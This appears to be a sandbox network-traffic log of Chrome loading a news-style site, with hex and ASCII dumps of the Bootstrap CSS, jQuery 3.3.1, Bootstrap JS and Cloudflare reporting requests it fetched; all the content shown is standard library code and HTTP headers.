2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 36 36 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 39 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 66 6c 65 78 3a 30 20 30 20 37 35 25 3b 6d 61 78 2d 77 69 64 74 68 3a 37 35 25 7d 2e 63 6f 6c 2d 31 30 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 66 6c 65 78 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 Data Ascii: 667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 35 25 7d 2e 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 34 31 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 30 25 7d 2e 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 38 2e 33 33 33 33 33 33 25 7d 2e 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 36 36 2e 36 36 36 36 36 37 25 7d 2e 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 35 25 7d 2e 6f 66 66 73 65 74 2d 31 30 7b 6d 61 72 67 69 6e 2d 6c 65 Data Ascii: 2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-le
2024-04-19 14:56:18 UTC	1369	IN	Data Raw: 3a 30 20 30 20 38 33 2e 33 33 33 33 33 33 25 3b 6d 61 78 2d 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 31 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 66 6c 65 78 3a 30 20 30 20 39 31 2e 36 36 36 36 36 37 25 3b 6d 61 78 2d 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 73 6d 2d 31 32 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 2d 6d 73 2d 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 66 6c 65 78 3a 30 20 30 20 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6f 72 64 65 72 2d 73 6d 2d 66 69 72 73 74 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 30 3b 2d 6d Data Ascii: :0 0 83.333333%;max-width:83.333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49730	151.101.2.137	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:17 UTC	655	OUT	GET /jquery-3.3.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://3245.tarafhaber.net sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	568	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271751 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-42587" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 4326552 Date: Fri, 19 Apr 2024 14:56:18 GMT X-Served-By: cache-lga21980-LGA, cache-pdk-kfty2130022-PDK X-Cache: HIT, HIT X-Cache-Hits: 52, 0 X-Timer: S1713538578.039377,VS0,VE1 Vary: Accept-Encoding
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 2a 20 6a 51 75 65 72 79 20 4a 61 76 61 53 63 72 69 70 74 20 4c 69 62 72 61 72 79 20 76 33 2e 33 2e 31 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 49 6e 63 6c 75 64 65 73 20 53 69 7a 7a 6c 65 2e 6a 73 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 73 69 7a 7a 6c 65 6a 73 2e 63 6f 6d 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 20 2a 0a 20 2a 20 44 61 74 65 3a 20 32 30 31 38 2d 30 31 2d 32 30 54 31 37 Data Ascii: /! jQuery JavaScript Library v3.3.1 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2018-01-20T17
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 2e 20 42 75 74 20 61 73 20 6f 66 20 6a 51 75 65 72 79 20 33 2e 30 20 28 32 30 31 36 29 2c 20 73 74 72 69 63 74 20 6d 6f 64 65 20 73 68 6f 75 6c 64 20 62 65 20 63 6f 6d 6d 6f 6e 0a 2f 2f 20 65 6e 6f 75 67 68 20 74 68 61 74 20 61 6c 6c 20 73 75 63 68 20 61 74 74 65 6d 70 74 73 20 61 72 65 20 67 75 61 72 64 65 64 20 69 6e 20 61 20 74 72 79 20 62 6c 6f 63 6b 2e 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 76 61 72 20 61 72 72 20 3d 20 5b 5d 3b 0a 0a 76 61 72 20 64 6f 63 75 6d 65 6e 74 20 3d 20 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 0a 0a 76 61 72 20 67 65 74 50 72 6f 74 6f 20 3d 20 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 0a 0a 76 61 72 20 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 3b 0a 0a 76 61 72 20 63 6f 6e 63 Data Ascii: . But as of jQuery 3.0 (2016), strict mode should be common// enough that all such attempts are guarded in a try block."use strict";var arr = [];var document = window.document;var getProto = Object.getPrototypeOf;var slice = arr.slice;var conc
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 63 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 20 73 63 72 69 70 74 20 29 3b 0a 09 7d 0a 0a 0a 66 75 6e 63 74 69 6f 6e 20 74 6f 54 79 70 65 28 20 6f 62 6a 20 29 20 7b 0a 09 69 66 20 28 20 6f 62 6a 20 3d 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6f 62 6a 20 2b 20 22 22 3b 0a 09 7d 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 41 6e 64 72 6f 69 64 20 3c 3d 32 2e 33 20 6f 6e 6c 79 20 28 66 75 6e 63 74 69 6f 6e 69 73 68 20 52 65 67 45 78 70 29 0a 09 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 6f 62 6a 65 63 74 22 20 7c 7c 20 74 79 70 65 6f 66 20 6f 62 6a 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 20 3f 0a 09 Data Ascii: c.head.appendChild( script ).parentNode.removeChild( script );}function toType( obj ) {if ( obj == null ) {return obj + "";}// Support: Android <=2.3 only (functionish RegExp)return typeof obj === "object" \|\| typeof obj === "function" ?
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 7b 0a 09 09 09 72 65 74 75 72 6e 20 73 6c 69 63 65 2e 63 61 6c 6c 28 20 74 68 69 73 20 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 52 65 74 75 72 6e 20 6a 75 73 74 20 74 68 65 20 6f 6e 65 20 65 6c 65 6d 65 6e 74 20 66 72 6f 6d 20 74 68 65 20 73 65 74 0a 09 09 72 65 74 75 72 6e 20 6e 75 6d 20 3c 20 30 20 3f 20 74 68 69 73 5b 20 6e 75 6d 20 2b 20 74 68 69 73 2e 6c 65 6e 67 74 68 20 5d 20 3a 20 74 68 69 73 5b 20 6e 75 6d 20 5d 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 54 61 6b 65 20 61 6e 20 61 72 72 61 79 20 6f 66 20 65 6c 65 6d 65 6e 74 73 20 61 6e 64 20 70 75 73 68 20 69 74 20 6f 6e 74 6f 20 74 68 65 20 73 74 61 63 6b 0a 09 2f 2f 20 28 72 65 74 75 72 6e 69 6e 67 20 74 68 65 20 6e 65 77 20 6d 61 74 63 68 65 64 20 65 6c 65 6d 65 6e 74 20 73 65 74 29 0a 09 70 75 73 68 53 Data Ascii: {return slice.call( this );}// Return just the one element from the setreturn num < 0 ? this[ num + this.length ] : this[ num ];},// Take an array of elements and push it onto the stack// (returning the new matched element set)pushS
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 65 72 79 2e 66 6e 2e 65 78 74 65 6e 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 76 61 72 20 6f 70 74 69 6f 6e 73 2c 20 6e 61 6d 65 2c 20 73 72 63 2c 20 63 6f 70 79 2c 20 63 6f 70 79 49 73 41 72 72 61 79 2c 20 63 6c 6f 6e 65 2c 0a 09 09 74 61 72 67 65 74 20 3d 20 61 72 67 75 6d 65 6e 74 73 5b 20 30 20 5d 20 7c 7c 20 7b 7d 2c 0a 09 09 69 20 3d 20 31 2c 0a 09 09 6c 65 6e 67 74 68 20 3d 20 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 0a 09 09 64 65 65 70 20 3d 20 66 61 6c 73 65 3b 0a 0a 09 2f 2f 20 48 61 6e 64 6c 65 20 61 20 64 65 65 70 20 63 6f 70 79 20 73 69 74 75 61 74 69 6f 6e 0a 09 69 66 20 28 20 74 79 70 65 6f 66 20 74 61 72 67 65 74 20 3d 3d 3d 20 22 62 6f 6f 6c 65 61 6e 22 20 29 20 7b 0a 09 09 64 65 65 70 20 3d 20 74 61 72 67 65 74 3b Data Ascii: ery.fn.extend = function() {var options, name, src, copy, copyIsArray, clone,target = arguments[ 0 ] \|\| {},i = 1,length = arguments.length,deep = false;// Handle a deep copy situationif ( typeof target === "boolean" ) {deep = target;
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 65 2c 20 63 6f 70 79 20 29 3b 0a 0a 09 09 09 09 2f 2f 20 44 6f 6e 27 74 20 62 72 69 6e 67 20 69 6e 20 75 6e 64 65 66 69 6e 65 64 20 76 61 6c 75 65 73 0a 09 09 09 09 7d 20 65 6c 73 65 20 69 66 20 28 20 63 6f 70 79 20 21 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 29 20 7b 0a 09 09 09 09 09 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 20 3d 20 63 6f 70 79 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 09 7d 0a 0a 09 2f 2f 20 52 65 74 75 72 6e 20 74 68 65 20 6d 6f 64 69 66 69 65 64 20 6f 62 6a 65 63 74 0a 09 72 65 74 75 72 6e 20 74 61 72 67 65 74 3b 0a 7d 3b 0a 0a 6a 51 75 65 72 79 2e 65 78 74 65 6e 64 28 20 7b 0a 0a 09 2f 2f 20 55 6e 69 71 75 65 20 66 6f 72 20 65 61 63 68 20 63 6f 70 79 20 6f 66 20 6a 51 75 65 72 79 20 6f 6e 20 74 68 65 20 70 61 67 65 0a 09 65 Data Ascii: e, copy );// Don't bring in undefined values} else if ( copy !== undefined ) {target[ name ] = copy;}}}}// Return the modified objectreturn target;};jQuery.extend( {// Unique for each copy of jQuery on the pagee
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 09 09 44 4f 4d 45 76 61 6c 28 20 63 6f 64 65 20 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 2c 20 63 61 6c 6c 62 61 63 6b 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 67 74 68 2c 20 69 20 3d 20 30 3b 0a 0a 09 09 69 66 20 28 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 29 20 7b 0a 09 09 09 6c 65 6e 67 74 68 20 3d 20 6f 62 6a 2e 6c 65 6e 67 74 68 3b 0a 09 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 6f 62 6a 5b 20 69 20 5d 2c 20 69 2c 20 6f 62 6a 5b 20 69 20 5d 20 29 20 3d 3d 3d 20 66 61 6c 73 65 20 29 20 7b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 20 Data Ascii: DOMEval( code );},each: function( obj, callback ) {var length, i = 0;if ( isArrayLike( obj ) ) {length = obj.length;for ( ; i < length; i++ ) {if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {break;}}}
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 62 61 63 6b 45 78 70 65 63 74 20 3d 20 21 69 6e 76 65 72 74 3b 0a 0a 09 09 2f 2f 20 47 6f 20 74 68 72 6f 75 67 68 20 74 68 65 20 61 72 72 61 79 2c 20 6f 6e 6c 79 20 73 61 76 69 6e 67 20 74 68 65 20 69 74 65 6d 73 0a 09 09 2f 2f 20 74 68 61 74 20 70 61 73 73 20 74 68 65 20 76 61 6c 69 64 61 74 6f 72 20 66 75 6e 63 74 69 6f 6e 0a 09 09 66 6f 72 20 28 20 3b 20 69 20 3c 20 6c 65 6e 67 74 68 3b 20 69 2b 2b 20 29 20 7b 0a 09 09 09 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 3d 20 21 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 20 29 3b 0a 09 09 09 69 66 20 28 20 63 61 6c 6c 62 61 63 6b 49 6e 76 65 72 73 65 20 21 3d 3d 20 63 61 6c 6c 62 61 63 6b 45 78 70 65 63 74 20 29 20 7b 0a 09 09 09 09 6d 61 74 63 68 65 73 2e 70 75 73 68 28 20 65 Data Ascii: backExpect = !invert;// Go through the array, only saving the items// that pass the validator functionfor ( ; i < length; i++ ) {callbackInverse = !callback( elems[ i ], i );if ( callbackInverse !== callbackExpect ) {matches.push( e
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 63 6c 61 73 73 32 74 79 70 65 5b 20 22 5b 6f 62 6a 65 63 74 20 22 20 2b 20 6e 61 6d 65 20 2b 20 22 5d 22 20 5d 20 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 7d 20 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 69 73 41 72 72 61 79 4c 69 6b 65 28 20 6f 62 6a 20 29 20 7b 0a 0a 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 72 65 61 6c 20 69 4f 53 20 38 2e 32 20 6f 6e 6c 79 20 28 6e 6f 74 20 72 65 70 72 6f 64 75 63 69 62 6c 65 20 69 6e 20 73 69 6d 75 6c 61 74 6f 72 29 0a 09 2f 2f 20 60 69 6e 60 20 63 68 65 63 6b 20 75 73 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 4a 49 54 20 65 72 72 6f 72 20 28 67 68 2d 32 31 34 35 29 0a 09 2f 2f 20 68 61 73 4f 77 6e 20 69 73 6e 27 74 20 75 73 65 64 20 68 65 72 65 20 64 75 65 20 74 Data Ascii: , name ) {class2type[ "[object " + name + "]" ] = name.toLowerCase();} );function isArrayLike( obj ) {// Support: real iOS 8.2 only (not reproducible in simulator)// `in` check used to prevent JIT error (gh-2145)// hasOwn isn't used here due t
2024-04-19 14:56:18 UTC	1378	IN	Data Raw: 6e 73 74 61 6e 63 65 20 6d 65 74 68 6f 64 73 0a 09 68 61 73 4f 77 6e 20 3d 20 28 7b 7d 29 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 0a 09 61 72 72 20 3d 20 5b 5d 2c 0a 09 70 6f 70 20 3d 20 61 72 72 2e 70 6f 70 2c 0a 09 70 75 73 68 5f 6e 61 74 69 76 65 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 70 75 73 68 20 3d 20 61 72 72 2e 70 75 73 68 2c 0a 09 73 6c 69 63 65 20 3d 20 61 72 72 2e 73 6c 69 63 65 2c 0a 09 2f 2f 20 55 73 65 20 61 20 73 74 72 69 70 70 65 64 2d 64 6f 77 6e 20 69 6e 64 65 78 4f 66 20 61 73 20 69 74 27 73 20 66 61 73 74 65 72 20 74 68 61 6e 20 6e 61 74 69 76 65 0a 09 2f 2f 20 68 74 74 70 73 3a 2f 2f 6a 73 70 65 72 66 2e 63 6f 6d 2f 74 68 6f 72 2d 69 6e 64 65 78 6f 66 2d 76 73 2d 66 6f 72 2f 35 0a 09 69 6e 64 65 78 4f 66 20 3d 20 66 75 6e Data Ascii: nstance methodshasOwn = ({}).hasOwnProperty,arr = [],pop = arr.pop,push_native = arr.push,push = arr.push,slice = arr.slice,// Use a stripped-down indexOf as it's faster than native// https://jsperf.com/thor-indexof-vs-for/5indexOf = fun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49735	35.190.80.1	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	544	OUT	OPTIONS /report/v4?s=F2QR5YXx85bsL73%2BZA4k8m9FY7exlwSiisyQaX4CcJ5mab5B41iAueE%2FtDsX4q9yS7Dhsbn%2BA9sjMgd5JgUYq9g9AbeD2MZIM4bFvcNGD06gwWAw7Ym9a8LswRZTD13QPd0C0Z%2F4 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://3245.tarafhaber.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:18 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Fri, 19 Apr 2024 14:56:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49737	104.18.10.207	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:18 UTC	649	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://3245.tarafhaber.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:56:19 UTC	946	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 14:56:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: eb45b81c676b076d1a397fc79f423d64 CDN-Cache: HIT CF-Cache-Status: HIT Age: 2615878 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 876dbd96787612e6-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 14:56:19 UTC	423	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7bff/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-04-19 14:56:19 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return 